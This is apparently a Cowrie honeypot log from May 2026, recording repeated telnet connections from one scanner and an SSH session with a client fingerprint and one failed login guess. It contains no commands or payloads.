{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36012,"dst_ip":"10.17.0.5","dst_port":23,"session":"594d038ab71e","protocol":"telnet","message":"New connection: 50.6.3.16:36012 (10.17.0.5:23) [session: 594d038ab71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:51.005804Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36026,"dst_ip":"10.17.0.5","dst_port":23,"session":"763a1ec85be0","protocol":"telnet","message":"New connection: 50.6.3.16:36026 (10.17.0.5:23) [session: 763a1ec85be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:51.916959Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36052,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c8f99f3ecb","protocol":"telnet","message":"New connection: 50.6.3.16:36052 (10.17.0.5:23) [session: d4c8f99f3ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:53.009960Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36066,"dst_ip":"10.17.0.5","dst_port":23,"session":"220b89bce905","protocol":"telnet","message":"New connection: 50.6.3.16:36066 (10.17.0.5:23) [session: 220b89bce905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:53.351512Z"}
{"eventid":"cowrie.session.closed","duration":30.877997636795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:53.558687Z","src_ip":"50.6.3.16","session":"49d11ed7037a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36004,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf55feb4bf5","protocol":"telnet","message":"New connection: 50.6.3.16:36004 (10.17.0.5:23) [session: 3cf55feb4bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:53.739989Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36082,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9fced44cb0","protocol":"telnet","message":"New connection: 50.6.3.16:36082 (10.17.0.5:23) [session: be9fced44cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:54.144936Z"}
{"eventid":"cowrie.session.closed","duration":31.038628339767456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:54.149633Z","src_ip":"50.6.3.16","session":"a30452e728f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36090,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b413046e77","protocol":"telnet","message":"New connection: 50.6.3.16:36090 (10.17.0.5:23) [session: 99b413046e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:54.363702Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36102,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f6eb6490ed","protocol":"telnet","message":"New connection: 50.6.3.16:36102 (10.17.0.5:23) [session: 47f6eb6490ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:54.463598Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36116,"dst_ip":"10.17.0.5","dst_port":23,"session":"15d6f940ddae","protocol":"telnet","message":"New connection: 50.6.3.16:36116 (10.17.0.5:23) [session: 15d6f940ddae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:54.889052Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36122,"dst_ip":"10.17.0.5","dst_port":23,"session":"12516170dd94","protocol":"telnet","message":"New connection: 50.6.3.16:36122 (10.17.0.5:23) [session: 12516170dd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:55.435456Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36136,"dst_ip":"10.17.0.5","dst_port":23,"session":"89058204d201","protocol":"telnet","message":"New connection: 50.6.3.16:36136 (10.17.0.5:23) [session: 89058204d201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:55.760811Z"}
{"eventid":"cowrie.session.closed","duration":31.065982818603516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:55.967600Z","src_ip":"50.6.3.16","session":"fc819f87da2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36150,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e958bcaa5dc","protocol":"telnet","message":"New connection: 50.6.3.16:36150 (10.17.0.5:23) [session: 0e958bcaa5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:56.180635Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36166,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0bef9e387b5","protocol":"telnet","message":"New connection: 50.6.3.16:36166 (10.17.0.5:23) [session: d0bef9e387b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:56.252747Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36170,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d23b4e34a12","protocol":"telnet","message":"New connection: 50.6.3.16:36170 (10.17.0.5:23) [session: 2d23b4e34a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:56.632089Z"}
{"eventid":"cowrie.session.closed","duration":31.300480604171753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:56.939162Z","src_ip":"50.6.3.16","session":"b7224ee74a02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36174,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a9ef814c31","protocol":"telnet","message":"New connection: 50.6.3.16:36174 (10.17.0.5:23) [session: 67a9ef814c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:57.535121Z"}
{"eventid":"cowrie.session.closed","duration":31.05605912208557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:59.284843Z","src_ip":"50.6.3.16","session":"dad2de6d3642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063167572021484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:59.979969Z","src_ip":"50.6.3.16","session":"019d4cb411ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca23afbfe3c","protocol":"telnet","message":"New connection: 50.6.3.16:45406 (10.17.0.5:23) [session: 9ca23afbfe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:00.031257Z"}
{"eventid":"cowrie.session.closed","duration":30.710509777069092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:00.649024Z","src_ip":"50.6.3.16","session":"4cd677153126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f937928464b","protocol":"telnet","message":"New connection: 50.6.3.16:45422 (10.17.0.5:23) [session: 3f937928464b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:00.778262Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45424,"dst_ip":"10.17.0.5","dst_port":23,"session":"c54d3d4f74a7","protocol":"telnet","message":"New connection: 50.6.3.16:45424 (10.17.0.5:23) [session: c54d3d4f74a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:01.058630Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45430,"dst_ip":"10.17.0.5","dst_port":23,"session":"976bc579da03","protocol":"telnet","message":"New connection: 50.6.3.16:45430 (10.17.0.5:23) [session: 976bc579da03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:01.593329Z"}
{"eventid":"cowrie.session.closed","duration":30.662506103515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:01.935950Z","src_ip":"50.6.3.16","session":"a728ec267b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4ef697d557","protocol":"telnet","message":"New connection: 50.6.3.16:45442 (10.17.0.5:23) [session: 2f4ef697d557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:02.015021Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45448,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6f092486a6f","protocol":"telnet","message":"New connection: 50.6.3.16:45448 (10.17.0.5:23) [session: d6f092486a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:02.085036Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45458,"dst_ip":"10.17.0.5","dst_port":23,"session":"262607789c77","protocol":"telnet","message":"New connection: 50.6.3.16:45458 (10.17.0.5:23) [session: 262607789c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:02.473003Z"}
{"eventid":"cowrie.session.closed","duration":31.172778367996216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:03.000741Z","src_ip":"50.6.3.16","session":"559708902c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11587405204773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:03.576229Z","src_ip":"50.6.3.16","session":"ab01d09146ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45472,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ea200e9060","protocol":"telnet","message":"New connection: 50.6.3.16:45472 (10.17.0.5:23) [session: 94ea200e9060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:04.499237Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f3c63b4ed38","protocol":"telnet","message":"New connection: 50.6.3.16:45486 (10.17.0.5:23) [session: 5f3c63b4ed38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:06.066110Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45500,"dst_ip":"10.17.0.5","dst_port":23,"session":"8601a2d19b64","protocol":"telnet","message":"New connection: 50.6.3.16:45500 (10.17.0.5:23) [session: 8601a2d19b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:06.114859Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45506,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d2badb2f1bd","protocol":"telnet","message":"New connection: 50.6.3.16:45506 (10.17.0.5:23) [session: 3d2badb2f1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:07.178912Z"}
{"eventid":"cowrie.session.closed","duration":31.065349340438843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:07.382472Z","src_ip":"50.6.3.16","session":"606e30e2f9c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23654532432556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:07.514469Z","src_ip":"50.6.3.16","session":"555b36e21fdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.530097723007202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:07.826700Z","src_ip":"50.6.3.16","session":"4a225f262414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45518,"dst_ip":"10.17.0.5","dst_port":23,"session":"d965d87c123e","protocol":"telnet","message":"New connection: 50.6.3.16:45518 (10.17.0.5:23) [session: d965d87c123e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:07.884770Z"}
{"eventid":"cowrie.session.closed","duration":31.07671022415161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:08.187320Z","src_ip":"50.6.3.16","session":"71341f22d869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.116028547286987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:09.608736Z","src_ip":"50.6.3.16","session":"d61b9087b718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d6c5cca3bf","protocol":"telnet","message":"New connection: 50.6.3.16:52654 (10.17.0.5:23) [session: 98d6c5cca3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:09.882373Z"}
{"eventid":"cowrie.session.closed","duration":30.744045734405518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:10.078817Z","src_ip":"50.6.3.16","session":"10d4c8167cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c6422457f7","protocol":"telnet","message":"New connection: 50.6.3.16:52660 (10.17.0.5:23) [session: 10c6422457f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:11.396964Z"}
{"eventid":"cowrie.session.closed","duration":30.800852298736572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:13.229520Z","src_ip":"50.6.3.16","session":"66c00179c765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c84fed33e38","protocol":"telnet","message":"New connection: 50.6.3.16:52674 (10.17.0.5:23) [session: 6c84fed33e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:14.411162Z"}
{"eventid":"cowrie.session.closed","duration":30.808334589004517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:14.632120Z","src_ip":"50.6.3.16","session":"a62d1e14298b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7464e1d3bec8","protocol":"telnet","message":"New connection: 50.6.3.16:52688 (10.17.0.5:23) [session: 7464e1d3bec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:14.964107Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52694,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7ce97ea2d9","protocol":"telnet","message":"New connection: 50.6.3.16:52694 (10.17.0.5:23) [session: be7ce97ea2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:15.491500Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52708,"dst_ip":"10.17.0.5","dst_port":23,"session":"5729ac45a4a1","protocol":"telnet","message":"New connection: 50.6.3.16:52708 (10.17.0.5:23) [session: 5729ac45a4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:17.318128Z"}
{"eventid":"cowrie.session.closed","duration":31.403264045715332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:20.224911Z","src_ip":"50.6.3.16","session":"5633bdf02ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54628,"dst_ip":"10.17.0.5","dst_port":23,"session":"627da84873c4","protocol":"telnet","message":"New connection: 50.6.3.16:54628 (10.17.0.5:23) [session: 627da84873c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:20.724284Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54636,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f7ac2e0500","protocol":"telnet","message":"New connection: 50.6.3.16:54636 (10.17.0.5:23) [session: 27f7ac2e0500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:21.241417Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":43422,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bb66ec9ed1","protocol":"ssh","message":"New connection: 4.213.160.153:43422 (159.203.135.109:22) [session: 02bb66ec9ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:21.295316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:21.303661Z","src_ip":"4.213.160.153","session":"02bb66ec9ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:21.485268Z","src_ip":"4.213.160.153","session":"02bb66ec9ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.071629762649536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:21.608550Z","src_ip":"50.6.3.16","session":"969d9012cd6d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456.","message":"login attempt [ubuntu/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:22.212214Z","src_ip":"4.213.160.153","session":"02bb66ec9ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.413897275924683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:22.419569Z","src_ip":"50.6.3.16","session":"594d038ab71e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923060417175293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:22.839940Z","src_ip":"50.6.3.16","session":"763a1ec85be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:23.399675Z","src_ip":"4.213.160.153","session":"02bb66ec9ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.250874519348145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:23.602287Z","src_ip":"50.6.3.16","session":"220b89bce905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:23.763578Z","src_ip":"120.48.135.189","session":"ddbbec2ea708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54650,"dst_ip":"10.17.0.5","dst_port":23,"session":"d019c16f8adf","protocol":"telnet","message":"New connection: 50.6.3.16:54650 (10.17.0.5:23) [session: d019c16f8adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:23.980660Z"}
{"eventid":"cowrie.session.closed","duration":31.108436107635498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:24.118295Z","src_ip":"50.6.3.16","session":"d4c8f99f3ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.486619234085083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:24.631438Z","src_ip":"50.6.3.16","session":"be9fced44cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92928957939148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:24.669163Z","src_ip":"50.6.3.16","session":"3cf55feb4bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82711672782898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:25.290625Z","src_ip":"50.6.3.16","session":"47f6eb6490ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006206274032593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:25.369778Z","src_ip":"50.6.3.16","session":"99b413046e77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752177715301514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:25.641119Z","src_ip":"50.6.3.16","session":"15d6f940ddae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33def1c2897","protocol":"telnet","message":"New connection: 50.6.3.16:54654 (10.17.0.5:23) [session: f33def1c2897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:25.673286Z"}
{"eventid":"cowrie.session.closed","duration":31.066495180130005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:26.501836Z","src_ip":"50.6.3.16","session":"12516170dd94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07248854637146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:26.833205Z","src_ip":"50.6.3.16","session":"89058204d201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54656,"dst_ip":"10.17.0.5","dst_port":23,"session":"49773b55cc3e","protocol":"telnet","message":"New connection: 50.6.3.16:54656 (10.17.0.5:23) [session: 49773b55cc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:27.020344Z"}
{"eventid":"cowrie.session.closed","duration":30.909823417663574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:27.090177Z","src_ip":"50.6.3.16","session":"0e958bcaa5dc","protocol":"telnet"}
